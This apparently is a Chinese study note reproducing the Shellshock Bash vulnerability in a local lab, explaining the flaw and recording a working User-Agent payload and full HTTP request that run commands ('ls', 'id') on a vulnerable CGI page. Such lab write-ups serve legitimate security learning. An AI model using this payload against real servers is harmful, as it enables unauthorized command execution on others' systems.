- 请勿用于非法用法,本帖仅为学习记录
- shelshocke简介:
- shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。
- bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 “}” 为结束,而是执行其后的恶意shell命令。
- 执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理。
- 参考链接:https://blog.csdn.net/qq_40657585/article/details/83242985
- 复现记录:
- 打开http://ip:8080,可以看到靶场准备了两个cgi文件,safe.cgi是由最新版本的bash生成的,victim.cgi是由bash4.3生成的页面,漏洞所在。
-
payload:
- User-Agent: () { :;};echo;echo $(/bin/ls -al /);/usr/bin/id; 其实这一段我反复试过了,交换命令的顺序也会影响执行效果,这个本菜鸟还没搞清楚。。
GET /victim.cgi HTTP/1.1 Host: 192.168.183.134:8080 User-Agent: () { :;};echo;echo $(/bin/ls -al /);/usr/bin/id; Accept:*/* text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.183.134:8080/ Upgrade-Insecure-Requests: 1
- User-Agent: () { :;};echo;echo $(/bin/ls -al /);/usr/bin/id; 其实这一段我反复试过了,交换命令的顺序也会影响执行效果,这个本菜鸟还没搞清楚。。
-
这个问题暂时留着吧。。。